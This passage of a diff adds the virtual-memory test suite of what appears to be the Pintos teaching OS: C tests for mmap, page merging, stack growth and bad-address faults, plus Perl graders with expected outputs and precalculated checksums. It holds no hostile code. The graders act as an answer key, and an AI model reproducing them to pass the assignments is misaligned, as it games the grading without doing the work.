+ munmap (map);
+
+ /* Read back via read(). */
+ read (handle, buf, strlen (sample));
+ CHECK (!memcmp (buf, sample, strlen (sample)),
+ "compare read data against written data");
+ close (handle);
+}
diff --git a/src/tests/vm/mmap-write.ck b/src/tests/vm/mmap-write.ck
new file mode 100644
index 0000000..d2c9cc5
--- /dev/null
+++ b/src/tests/vm/mmap-write.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(mmap-write) begin
+(mmap-write) create "sample.txt"
+(mmap-write) open "sample.txt"
+(mmap-write) mmap "sample.txt"
+(mmap-write) compare read data against written data
+(mmap-write) end
+EOF
+pass;
diff --git a/src/tests/vm/mmap-zero.c b/src/tests/vm/mmap-zero.c
new file mode 100644
index 0000000..368b759
--- /dev/null
+++ b/src/tests/vm/mmap-zero.c
@@ -0,0 +1,27 @@
+/* Tries to map a zero-length file, which may or may not work but
+ should not terminate the process or crash.
+ Then dereferences the address that we tried to map,
+ and the process must be terminated with -1 exit code. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char *data = (char *) 0x7f000000;
+ int handle;
+
+ CHECK (create ("empty", 0), "create empty file \"empty\"");
+ CHECK ((handle = open ("empty")) > 1, "open \"empty\"");
+
+ /* Calling mmap() might succeed or fail. We don't care. */
+ msg ("mmap \"empty\"");
+ mmap (handle, data);
+
+ /* Regardless of whether the call worked, *data should cause
+ the process to be terminated. */
+ fail ("unmapped memory is readable (%d)", *data);
+}
+
diff --git a/src/tests/vm/mmap-zero.ck b/src/tests/vm/mmap-zero.ck
new file mode 100644
index 0000000..0130fbd
--- /dev/null
+++ b/src/tests/vm/mmap-zero.ck
@@ -0,0 +1,12 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(mmap-zero) begin
+(mmap-zero) create empty file "empty"
+(mmap-zero) open "empty"
+(mmap-zero) mmap "empty"
+mmap-zero: exit(-1)
+EOF
+pass;
diff --git a/src/tests/vm/page-linear.c b/src/tests/vm/page-linear.c
new file mode 100644
index 0000000..652a47b
--- /dev/null
+++ b/src/tests/vm/page-linear.c
@@ -0,0 +1,44 @@
+/* Encrypts, then decrypts, 2 MB of memory and verifies that the
+ values are as they should be. */
+
+#include <string.h>
+#include "tests/arc4.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define SIZE (2 * 1024 * 1024)
+
+static char buf[SIZE];
+
+void
+test_main (void)
+{
+ struct arc4 arc4;
+ size_t i;
+
+ /* Initialize to 0x5a. */
+ msg ("initialize");
+ memset (buf, 0x5a, sizeof buf);
+
+ /* Check that it's all 0x5a. */
+ msg ("read pass");
+ for (i = 0; i < SIZE; i++)
+ if (buf[i] != 0x5a)
+ fail ("byte %zu != 0x5a", i);
+
+ /* Encrypt zeros. */
+ msg ("read/modify/write pass one");
+ arc4_init (&arc4, "foobar", 6);
+ arc4_crypt (&arc4, buf, SIZE);
+
+ /* Decrypt back to zeros. */
+ msg ("read/modify/write pass two");
+ arc4_init (&arc4, "foobar", 6);
+ arc4_crypt (&arc4, buf, SIZE);
+
+ /* Check that it's all 0x5a. */
+ msg ("read pass");
+ for (i = 0; i < SIZE; i++)
+ if (buf[i] != 0x5a)
+ fail ("byte %zu != 0x5a", i);
+}
diff --git a/src/tests/vm/page-linear.ck b/src/tests/vm/page-linear.ck
new file mode 100644
index 0000000..dcbc884
--- /dev/null
+++ b/src/tests/vm/page-linear.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(page-linear) begin
+(page-linear) initialize
+(page-linear) read pass
+(page-linear) read/modify/write pass one
+(page-linear) read/modify/write pass two
+(page-linear) read pass
+(page-linear) end
+EOF
+pass;
diff --git a/src/tests/vm/page-merge-mm.c b/src/tests/vm/page-merge-mm.c
new file mode 100644
index 0000000..908c71c
--- /dev/null
+++ b/src/tests/vm/page-merge-mm.c
@@ -0,0 +1,8 @@
+#include "tests/main.h"
+#include "tests/vm/parallel-merge.h"
+
+void
+test_main (void)
+{
+ parallel_merge ("child-qsort-mm", 80);
+}
diff --git a/src/tests/vm/page-merge-mm.ck b/src/tests/vm/page-merge-mm.ck
new file mode 100644
index 0000000..74fa980
--- /dev/null
+++ b/src/tests/vm/page-merge-mm.ck
@@ -0,0 +1,29 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(page-merge-mm) begin
+(page-merge-mm) init
+(page-merge-mm) sort chunk 0
+(page-merge-mm) sort chunk 1
+(page-merge-mm) sort chunk 2
+(page-merge-mm) sort chunk 3
+(page-merge-mm) sort chunk 4
+(page-merge-mm) sort chunk 5
+(page-merge-mm) sort chunk 6
+(page-merge-mm) sort chunk 7
+(page-merge-mm) wait for child 0
+(page-merge-mm) wait for child 1
+(page-merge-mm) wait for child 2
+(page-merge-mm) wait for child 3
+(page-merge-mm) wait for child 4
+(page-merge-mm) wait for child 5
+(page-merge-mm) wait for child 6
+(page-merge-mm) wait for child 7
+(page-merge-mm) merge
+(page-merge-mm) verify
+(page-merge-mm) success, buf_idx=1,048,576
+(page-merge-mm) end
+EOF
+pass;
diff --git a/src/tests/vm/page-merge-par.c b/src/tests/vm/page-merge-par.c
new file mode 100644
index 0000000..e7e1609
--- /dev/null
+++ b/src/tests/vm/page-merge-par.c
@@ -0,0 +1,8 @@
+#include "tests/main.h"
+#include "tests/vm/parallel-merge.h"
+
+void
+test_main (void)
+{
+ parallel_merge ("child-sort", 123);
+}
diff --git a/src/tests/vm/page-merge-par.ck b/src/tests/vm/page-merge-par.ck
new file mode 100644
index 0000000..31f8aa7
--- /dev/null
+++ b/src/tests/vm/page-merge-par.ck
@@ -0,0 +1,29 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(page-merge-par) begin
+(page-merge-par) init
+(page-merge-par) sort chunk 0
+(page-merge-par) sort chunk 1
+(page-merge-par) sort chunk 2
+(page-merge-par) sort chunk 3
+(page-merge-par) sort chunk 4
+(page-merge-par) sort chunk 5
+(page-merge-par) sort chunk 6
+(page-merge-par) sort chunk 7
+(page-merge-par) wait for child 0
+(page-merge-par) wait for child 1
+(page-merge-par) wait for child 2
+(page-merge-par) wait for child 3
+(page-merge-par) wait for child 4
+(page-merge-par) wait for child 5
+(page-merge-par) wait for child 6
+(page-merge-par) wait for child 7
+(page-merge-par) merge
+(page-merge-par) verify
+(page-merge-par) success, buf_idx=1,048,576
+(page-merge-par) end
+EOF
+pass;
diff --git a/src/tests/vm/page-merge-seq.c b/src/tests/vm/page-merge-seq.c
new file mode 100644
index 0000000..12e3880
--- /dev/null
+++ b/src/tests/vm/page-merge-seq.c
@@ -0,0 +1,137 @@
+/* Generates about 1 MB of random data that is then divided into
+ 16 chunks. A separate subprocess sorts each chunk in
+ sequence. Then we merge the chunks and verify that the result
+ is what it should be. */
+
+#include <syscall.h>
+#include "tests/arc4.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+/* This is the max file size for an older version of the Pintos
+ file system that had 126 direct blocks each pointing to a
+ single disk sector. We could raise it now. */
+#define CHUNK_SIZE (126 * 512)
+#define CHUNK_CNT 16 /* Number of chunks. */
+#define DATA_SIZE (CHUNK_CNT * CHUNK_SIZE) /* Buffer size. */
+
+unsigned char buf1[DATA_SIZE], buf2[DATA_SIZE];
+size_t histogram[256];
+
+/* Initialize buf1 with random data,
+ then count the number of instances of each value within it. */
+static void
+init (void)
+{
+ struct arc4 arc4;
+ size_t i;
+
+ msg ("init");
+
+ arc4_init (&arc4, "foobar", 6);
+ arc4_crypt (&arc4, buf1, sizeof buf1);
+ for (i = 0; i < sizeof buf1; i++)
+ histogram[buf1[i]]++;
+}
+
+/* Sort each chunk of buf1 using a subprocess. */
+static void
+sort_chunks (void)
+{
+ size_t i;
+
+ create ("buffer", CHUNK_SIZE);
+ for (i = 0; i < CHUNK_CNT; i++)
+ {
+ pid_t child;
+ int handle;
+
+ msg ("sort chunk %zu", i);
+
+ /* Write this chunk to a file. */
+ quiet = true;
+ CHECK ((handle = open ("buffer")) > 1, "open \"buffer\"");
+ write (handle, buf1 + CHUNK_SIZE * i, CHUNK_SIZE);
+ close (handle);
+
+ /* Sort with subprocess. */
+ CHECK ((child = exec ("child-sort buffer")) != -1,
+ "exec \"child-sort buffer\"");
+ CHECK (wait (child) == 123, "wait for child-sort");
+
+ /* Read chunk back from file. */
+ CHECK ((handle = open ("buffer")) > 1, "open \"buffer\"");
+ read (handle, buf1 + CHUNK_SIZE * i, CHUNK_SIZE);
+ close (handle);
+
+ quiet = false;
+ }
+}
+
+/* Merge the sorted chunks in buf1 into a fully sorted buf2. */
+static void
+merge (void)
+{
+ unsigned char *mp[CHUNK_CNT];
+ size_t mp_left;
+ unsigned char *op;
+ size_t i;
+
+ msg ("merge");
+
+ /* Initialize merge pointers. */
+ mp_left = CHUNK_CNT;
+ for (i = 0; i < CHUNK_CNT; i++)
+ mp[i] = buf1 + CHUNK_SIZE * i;
+
+ /* Merge. */
+ op = buf2;
+ while (mp_left > 0)
+ {
+ /* Find smallest value. */
+ size_t min = 0;
+ for (i = 1; i < mp_left; i++)
+ if (*mp[i] < *mp[min])
+ min = i;
+
+ /* Append value to buf2. */
+ *op++ = *mp[min];
+
+ /* Advance merge pointer.
+ Delete this chunk from the set if it's emptied. */
+ if ((++mp[min] - buf1) % CHUNK_SIZE == 0)
+ mp[min] = mp[--mp_left];
+ }
+}
+
+static void
+verify (void)
+{
+ size_t buf_idx;
+ size_t hist_idx;
+
+ msg ("verify");
+
+ buf_idx = 0;
+ for (hist_idx = 0; hist_idx < sizeof histogram / sizeof *histogram;
+ hist_idx++)
+ {
+ while (histogram[hist_idx]-- > 0)
+ {
+ if (buf2[buf_idx] != hist_idx)
+ fail ("bad value %d in byte %zu", buf2[buf_idx], buf_idx);
+ buf_idx++;
+ }
+ }
+
+ msg ("success, buf_idx=%'zu", buf_idx);
+}
+
+void
+test_main (void)
+{
+ init ();
+ sort_chunks ();
+ merge ();
+ verify ();
+}
diff --git a/src/tests/vm/page-merge-seq.ck b/src/tests/vm/page-merge-seq.ck
new file mode 100644
index 0000000..d78f69d
--- /dev/null
+++ b/src/tests/vm/page-merge-seq.ck
@@ -0,0 +1,29 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(page-merge-seq) begin
+(page-merge-seq) init
+(page-merge-seq) sort chunk 0
+(page-merge-seq) sort chunk 1
+(page-merge-seq) sort chunk 2
+(page-merge-seq) sort chunk 3
+(page-merge-seq) sort chunk 4
+(page-merge-seq) sort chunk 5
+(page-merge-seq) sort chunk 6
+(page-merge-seq) sort chunk 7
+(page-merge-seq) sort chunk 8
+(page-merge-seq) sort chunk 9
+(page-merge-seq) sort chunk 10
+(page-merge-seq) sort chunk 11
+(page-merge-seq) sort chunk 12
+(page-merge-seq) sort chunk 13
+(page-merge-seq) sort chunk 14
+(page-merge-seq) sort chunk 15
+(page-merge-seq) merge
+(page-merge-seq) verify
+(page-merge-seq) success, buf_idx=1,032,192
+(page-merge-seq) end
+EOF
+pass;
diff --git a/src/tests/vm/page-merge-stk.c b/src/tests/vm/page-merge-stk.c
new file mode 100644
index 0000000..5eb1069
--- /dev/null
+++ b/src/tests/vm/page-merge-stk.c
@@ -0,0 +1,8 @@
+#include "tests/main.h"
+#include "tests/vm/parallel-merge.h"
+
+void
+test_main (void)
+{
+ parallel_merge ("child-qsort", 72);
+}
diff --git a/src/tests/vm/page-merge-stk.ck b/src/tests/vm/page-merge-stk.ck
new file mode 100644
index 0000000..c5bc1ae
--- /dev/null
+++ b/src/tests/vm/page-merge-stk.ck
@@ -0,0 +1,29 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(page-merge-stk) begin
+(page-merge-stk) init
+(page-merge-stk) sort chunk 0
+(page-merge-stk) sort chunk 1
+(page-merge-stk) sort chunk 2
+(page-merge-stk) sort chunk 3
+(page-merge-stk) sort chunk 4
+(page-merge-stk) sort chunk 5
+(page-merge-stk) sort chunk 6
+(page-merge-stk) sort chunk 7
+(page-merge-stk) wait for child 0
+(page-merge-stk) wait for child 1
+(page-merge-stk) wait for child 2
+(page-merge-stk) wait for child 3
+(page-merge-stk) wait for child 4
+(page-merge-stk) wait for child 5
+(page-merge-stk) wait for child 6
+(page-merge-stk) wait for child 7
+(page-merge-stk) merge
+(page-merge-stk) verify
+(page-merge-stk) success, buf_idx=1,048,576
+(page-merge-stk) end
+EOF
+pass;
diff --git a/src/tests/vm/page-parallel.c b/src/tests/vm/page-parallel.c
new file mode 100644
index 0000000..9d619e0
--- /dev/null
+++ b/src/tests/vm/page-parallel.c
@@ -0,0 +1,21 @@
+/* Runs 4 child-linear processes at once. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define CHILD_CNT 4
+
+void
+test_main (void)
+{
+ pid_t children[CHILD_CNT];
+ int i;
+
+ for (i = 0; i < CHILD_CNT; i++)
+ CHECK ((children[i] = exec ("child-linear")) != -1,
+ "exec \"child-linear\"");
+
+ for (i = 0; i < CHILD_CNT; i++)
+ CHECK (wait (children[i]) == 0x42, "wait for child %d", i);
+}
diff --git a/src/tests/vm/page-parallel.ck b/src/tests/vm/page-parallel.ck
new file mode 100644
index 0000000..90c14ef
--- /dev/null
+++ b/src/tests/vm/page-parallel.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(page-parallel) begin
+(page-parallel) exec "child-linear"
+(page-parallel) exec "child-linear"
+(page-parallel) exec "child-linear"
+(page-parallel) exec "child-linear"
+(page-parallel) wait for child 0
+(page-parallel) wait for child 1
+(page-parallel) wait for child 2
+(page-parallel) wait for child 3
+(page-parallel) end
+EOF
+pass;
diff --git a/src/tests/vm/page-shuffle.c b/src/tests/vm/page-shuffle.c
new file mode 100644
index 0000000..095a9da
--- /dev/null
+++ b/src/tests/vm/page-shuffle.c
@@ -0,0 +1,30 @@
+/* Shuffles a 128 kB data buffer 10 times, printing the checksum
+ after each time. */
+
+#include <stdbool.h>
+#include "tests/arc4.h"
+#include "tests/cksum.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define SIZE (128 * 1024)
+
+static char buf[SIZE];
+
+void
+test_main (void)
+{
+ size_t i;
+
+ /* Initialize. */
+ for (i = 0; i < sizeof buf; i++)
+ buf[i] = i * 257;
+ msg ("init: cksum=%lu", cksum (buf, sizeof buf));
+
+ /* Shuffle repeatedly. */
+ for (i = 0; i < 10; i++)
+ {
+ shuffle (buf, sizeof buf, 1);
+ msg ("shuffle %zu: cksum=%lu", i, cksum (buf, sizeof buf));
+ }
+}
diff --git a/src/tests/vm/page-shuffle.ck b/src/tests/vm/page-shuffle.ck
new file mode 100644
index 0000000..6447d38
--- /dev/null
+++ b/src/tests/vm/page-shuffle.ck
@@ -0,0 +1,44 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::cksum;
+use tests::lib;
+
+my ($init, @shuffle);
+if (1) {
+ # Use precalculated values.
+ $init = 3115322833;
+ @shuffle = (1691062564, 1973575879, 1647619479, 96566261, 3885786467,
+ 3022003332, 3614934266, 2704001777, 735775156, 1864109763);
+} else {
+ # Recalculate values.
+ my ($buf) = "";
+ for my $i (0...128 * 1024 - 1) {
+ $buf .= chr (($i * 257) & 0xff);
+ }
+ $init = cksum ($buf);
+
+ random_init (0);
+ for my $i (1...10) {
+ $buf = shuffle ($buf, length ($buf), 1);
+ push (@shuffle, cksum ($buf));
+ }
+}
+
+check_expected (IGNORE_EXIT_CODES => 1, [<<EOF]);
+(page-shuffle) begin
+(page-shuffle) init: cksum=$init
+(page-shuffle) shuffle 0: cksum=$shuffle[0]
+(page-shuffle) shuffle 1: cksum=$shuffle[1]
+(page-shuffle) shuffle 2: cksum=$shuffle[2]
+(page-shuffle) shuffle 3: cksum=$shuffle[3]
+(page-shuffle) shuffle 4: cksum=$shuffle[4]
+(page-shuffle) shuffle 5: cksum=$shuffle[5]
+(page-shuffle) shuffle 6: cksum=$shuffle[6]
+(page-shuffle) shuffle 7: cksum=$shuffle[7]
+(page-shuffle) shuffle 8: cksum=$shuffle[8]
+(page-shuffle) shuffle 9: cksum=$shuffle[9]
+(page-shuffle) end
+EOF
+pass;
diff --git a/src/tests/vm/parallel-merge.c b/src/tests/vm/parallel-merge.c
new file mode 100644
index 0000000..cc09bb1
--- /dev/null
+++ b/src/tests/vm/parallel-merge.c
@@ -0,0 +1,149 @@
+/* Generates about 1 MB of random data that is then divided into
+ 16 chunks. A separate subprocess sorts each chunk; the
+ subprocesses run in parallel. Then we merge the chunks and
+ verify that the result is what it should be. */
+
+#include "tests/vm/parallel-merge.h"
+#include <stdio.h>
+#include <syscall.h>
+#include "tests/arc4.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define CHUNK_SIZE (128 * 1024)
+#define CHUNK_CNT 8 /* Number of chunks. */
+#define DATA_SIZE (CHUNK_CNT * CHUNK_SIZE) /* Buffer size. */
+
+unsigned char buf1[DATA_SIZE], buf2[DATA_SIZE];
+size_t histogram[256];
+
+/* Initialize buf1 with random data,
+ then count the number of instances of each value within it. */
+static void
+init (void)
+{
+ struct arc4 arc4;
+ size_t i;
+
+ msg ("init");
+
+ arc4_init (&arc4, "foobar", 6);
+ arc4_crypt (&arc4, buf1, sizeof buf1);
+ for (i = 0; i < sizeof buf1; i++)
+ histogram[buf1[i]]++;
+}
+
+/* Sort each chunk of buf1 using SUBPROCESS,
+ which is expected to return EXIT_STATUS. */
+static void
+sort_chunks (const char *subprocess, int exit_status)
+{
+ pid_t children[CHUNK_CNT];
+ size_t i;
+
+ for (i = 0; i < CHUNK_CNT; i++)
+ {
+ char fn[128];
+ char cmd[128];
+ int handle;
+
+ msg ("sort chunk %zu", i);
+
+ /* Write this chunk to a file. */
+ snprintf (fn, sizeof fn, "buf%zu", i);
+ create (fn, CHUNK_SIZE);
+ quiet = true;
+ CHECK ((handle = open (fn)) > 1, "open \"%s\"", fn);
+ write (handle, buf1 + CHUNK_SIZE * i, CHUNK_SIZE);
+ close (handle);
+
+ /* Sort with subprocess. */
+ snprintf (cmd, sizeof cmd, "%s %s", subprocess, fn);
+ CHECK ((children[i] = exec (cmd)) != -1, "exec \"%s\"", cmd);
+ quiet = false;
+ }
+
+ for (i = 0; i < CHUNK_CNT; i++)
+ {
+ char fn[128];
+ int handle;
+
+ CHECK (wait (children[i]) == exit_status, "wait for child %zu", i);
+
+ /* Read chunk back from file. */
+ quiet = true;
+ snprintf (fn, sizeof fn, "buf%zu", i);
+ CHECK ((handle = open (fn)) > 1, "open \"%s\"", fn);
+ read (handle, buf1 + CHUNK_SIZE * i, CHUNK_SIZE);
+ close (handle);
+ quiet = false;
+ }
+}
+
+/* Merge the sorted chunks in buf1 into a fully sorted buf2. */
+static void
+merge (void)
+{
+ unsigned char *mp[CHUNK_CNT];
+ size_t mp_left;
+ unsigned char *op;
+ size_t i;
+
+ msg ("merge");
+
+ /* Initialize merge pointers. */
+ mp_left = CHUNK_CNT;
+ for (i = 0; i < CHUNK_CNT; i++)
+ mp[i] = buf1 + CHUNK_SIZE * i;
+
+ /* Merge. */
+ op = buf2;
+ while (mp_left > 0)
+ {
+ /* Find smallest value. */
+ size_t min = 0;
+ for (i = 1; i < mp_left; i++)
+ if (*mp[i] < *mp[min])
+ min = i;
+
+ /* Append value to buf2. */
+ *op++ = *mp[min];
+
+ /* Advance merge pointer.
+ Delete this chunk from the set if it's emptied. */
+ if ((++mp[min] - buf1) % CHUNK_SIZE == 0)
+ mp[min] = mp[--mp_left];
+ }
+}
+
+static void
+verify (void)
+{
+ size_t buf_idx;
+ size_t hist_idx;
+
+ msg ("verify");
+
+ buf_idx = 0;
+ for (hist_idx = 0; hist_idx < sizeof histogram / sizeof *histogram;
+ hist_idx++)
+ {
+ while (histogram[hist_idx]-- > 0)
+ {
+ if (buf2[buf_idx] != hist_idx)
+ fail ("bad value %d in byte %zu", buf2[buf_idx], buf_idx);
+ buf_idx++;
+ }
+ }
+
+ msg ("success, buf_idx=%'zu", buf_idx);
+}
+
+void
+parallel_merge (const char *child_name, int exit_status)
+{
+ init ();
+ sort_chunks (child_name, exit_status);
+ merge ();
+ verify ();
+}
diff --git a/src/tests/vm/parallel-merge.h b/src/tests/vm/parallel-merge.h
new file mode 100644
index 0000000..a6b6431
--- /dev/null
+++ b/src/tests/vm/parallel-merge.h
@@ -0,0 +1,6 @@
+#ifndef TESTS_VM_PARALLEL_MERGE
+#define TESTS_VM_PARALLEL_MERGE 1
+
+void parallel_merge (const char *child_name, int exit_status);
+
+#endif /* tests/vm/parallel-merge.h */
diff --git a/src/tests/vm/process_death.pm b/src/tests/vm/process_death.pm
new file mode 100644
index 0000000..52039a1
--- /dev/null
+++ b/src/tests/vm/process_death.pm
@@ -0,0 +1,22 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+
+sub check_process_death {
+ my ($proc_name) = @_;
+ our ($test);
+ my (@output) = read_text_file ("$test.output");
+
+ common_checks ("run", @output);
+ @output = get_core_output ("run", @output);
+ fail "First line of output is not `($proc_name) begin' message.\n"
+ if $output[0] ne "($proc_name) begin";
+ fail "Output missing '$proc_name: exit(-1)' message.\n"
+ if !grep ("$proc_name: exit(-1)" eq $_, @output);
+ fail "Output contains '($proc_name) end' message.\n"
+ if grep (/\($proc_name\) end/, @output);
+ pass;
+}
+
+1;
diff --git a/src/tests/vm/pt-bad-addr.c b/src/tests/vm/pt-bad-addr.c
new file mode 100644
index 0000000..3ca4084
--- /dev/null
+++ b/src/tests/vm/pt-bad-addr.c
@@ -0,0 +1,11 @@
+/* Accesses a bad address.
+ The process must be terminated with -1 exit code. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ fail ("bad addr read as %d", *(int *) 0x04000000);
+}
diff --git a/src/tests/vm/pt-bad-addr.ck b/src/tests/vm/pt-bad-addr.ck
new file mode 100644
index 0000000..09ea039
--- /dev/null
+++ b/src/tests/vm/pt-bad-addr.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::vm::process_death;
+
+check_process_death ('pt-bad-addr');
diff --git a/src/tests/vm/pt-bad-read.c b/src/tests/vm/pt-bad-read.c
new file mode 100644
index 0000000..ee791ff
--- /dev/null
+++ b/src/tests/vm/pt-bad-read.c
@@ -0,0 +1,16 @@
+/* Reads from a file into a bad address.
+ The process must be terminated with -1 exit code. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ read (handle, (char *) &handle - 4096, 1);
+ fail ("survived reading data into bad address");
+}
diff --git a/src/tests/vm/pt-bad-read.ck b/src/tests/vm/pt-bad-read.ck
new file mode 100644
index 0000000..1f96bb4
--- /dev/null
+++ b/src/tests/vm/pt-bad-read.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(pt-bad-read) begin
+(pt-bad-read) open "sample.txt"
+pt-bad-read: exit(-1)
+EOF
+pass;
diff --git a/src/tests/vm/pt-big-stk-obj.c b/src/tests/vm/pt-big-stk-obj.c
new file mode 100644
index 0000000..6b630ec
--- /dev/null
+++ b/src/tests/vm/pt-big-stk-obj.c
@@ -0,0 +1,20 @@
+/* Allocates and writes to a 64 kB object on the stack.
+ This must succeed. */
+
+#include <string.h>
+#include "tests/arc4.h"
+#include "tests/cksum.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char stk_obj[65536];
+ struct arc4 arc4;
+
+ arc4_init (&arc4, "foobar", 6);
+ memset (stk_obj, 0, sizeof stk_obj);
+ arc4_crypt (&arc4, stk_obj, sizeof stk_obj);
+ msg ("cksum: %lu", cksum (stk_obj, sizeof stk_obj));
+}
diff --git a/src/tests/vm/pt-big-stk-obj.ck b/src/tests/vm/pt-big-stk-obj.ck
new file mode 100644
index 0000000..eb5853a
--- /dev/null
+++ b/src/tests/vm/pt-big-stk-obj.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(pt-big-stk-obj) begin
+(pt-big-stk-obj) cksum: 3256410166
+(pt-big-stk-obj) end
+EOF
+pass;
diff --git a/src/tests/vm/pt-grow-bad.c b/src/tests/vm/pt-grow-bad.c
new file mode 100644
index 0000000..d4beba2
--- /dev/null
+++ b/src/tests/vm/pt-grow-bad.c
@@ -0,0 +1,14 @@
+/* Read from an address 4,096 bytes below the stack pointer.
+ The process must be terminated with -1 exit code. */
+
+#include <string.h>
+#include "tests/arc4.h"
+#include "tests/cksum.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ asm volatile ("movl -4096(%esp), %eax");
+}
diff --git a/src/tests/vm/pt-grow-bad.ck b/src/tests/vm/pt-grow-bad.ck
new file mode 100644
index 0000000..4c0ab8a
--- /dev/null
+++ b/src/tests/vm/pt-grow-bad.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_USER_FAULTS => 1, [<<'EOF']);
+(pt-grow-bad) begin
+pt-grow-bad: exit(-1)
+EOF
+pass;
diff --git a/src/tests/vm/pt-grow-pusha.c b/src/tests/vm/pt-grow-pusha.c
new file mode 100644
index 0000000..f9762a5
--- /dev/null
+++ b/src/tests/vm/pt-grow-pusha.c
@@ -0,0 +1,20 @@
+/* Expand the stack by 32 bytes all at once using the PUSHA
+ instruction.
+ This must succeed. */
+
+#include <string.h>
+#include "tests/arc4.h"
+#include "tests/cksum.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ asm volatile
+ ("movl %%esp, %%eax;" /* Save a copy of the stack pointer. */
+ "andl $0xfffff000, %%esp;" /* Move stack pointer to bottom of page. */
+ "pushal;" /* Push 32 bytes on stack at once. */
+ "movl %%eax, %%esp" /* Restore copied stack pointer. */
+ : : : "eax"); /* Tell GCC we destroyed eax. */
+}
diff --git a/src/tests/vm/pt-grow-pusha.ck b/src/tests/vm/pt-grow-pusha.ck
new file mode 100644
index 0000000..5000966
--- /dev/null
+++ b/src/tests/vm/pt-grow-pusha.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(pt-grow-pusha) begin
+(pt-grow-pusha) end
+EOF
+pass;
diff --git a/src/tests/vm/pt-grow-stack.c b/src/tests/vm/pt-grow-stack.c
new file mode 100644
index 0000000..0997a00
--- /dev/null
+++ b/src/tests/vm/pt-grow-stack.c
@@ -0,0 +1,20 @@
+/* Demonstrate that the stack can grow.
+ This must succeed. */
+
+#include <string.h>
+#include "tests/arc4.h"
+#include "tests/cksum.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char stack_obj[4096];
+ struct arc4 arc4;
+
+ arc4_init (&arc4, "foobar", 6);
+ memset (stack_obj, 0, sizeof stack_obj);
+ arc4_crypt (&arc4, stack_obj, sizeof stack_obj);
+ msg ("cksum: %lu", cksum (stack_obj, sizeof stack_obj));
+}
diff --git a/src/tests/vm/pt-grow-stack.ck b/src/tests/vm/pt-grow-stack.ck
new file mode 100644
index 0000000..1e669db
--- /dev/null
+++ b/src/tests/vm/pt-grow-stack.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(pt-grow-stack) begin
+(pt-grow-stack) cksum: 3424492700
+(pt-grow-stack) end
+EOF
+pass;
diff --git a/src/tests/vm/pt-grow-stk-sc.c b/src/tests/vm/pt-grow-stk-sc.c
new file mode 100644
index 0000000..3efbb5f
--- /dev/null
+++ b/src/tests/vm/pt-grow-stk-sc.c
@@ -0,0 +1,32 @@
+/* This test checks that the stack is properly extended even if
+ the first access to a stack location occurs inside a system
+ call.
+
+ From Godmar Back. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ int slen = strlen (sample);
+ char buf2[65536];
+
+ /* Write file via write(). */
+ CHECK (create ("sample.txt", slen), "create \"sample.txt\"");
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+ CHECK (write (handle, sample, slen) == slen, "write \"sample.txt\"");
+ close (handle);
+
+ /* Read back via read(). */
+ CHECK ((handle = open ("sample.txt")) > 1, "2nd open \"sample.txt\"");
+ CHECK (read (handle, buf2 + 32768, slen) == slen, "read \"sample.txt\"");
+
+ CHECK (!memcmp (sample, buf2 + 32768, slen), "compare written data against read data");
+ close (handle);
+}
diff --git a/src/tests/vm/pt-grow-stk-sc.ck b/src/tests/vm/pt-grow-stk-sc.ck
new file mode 100644
index 0000000..23d3b02
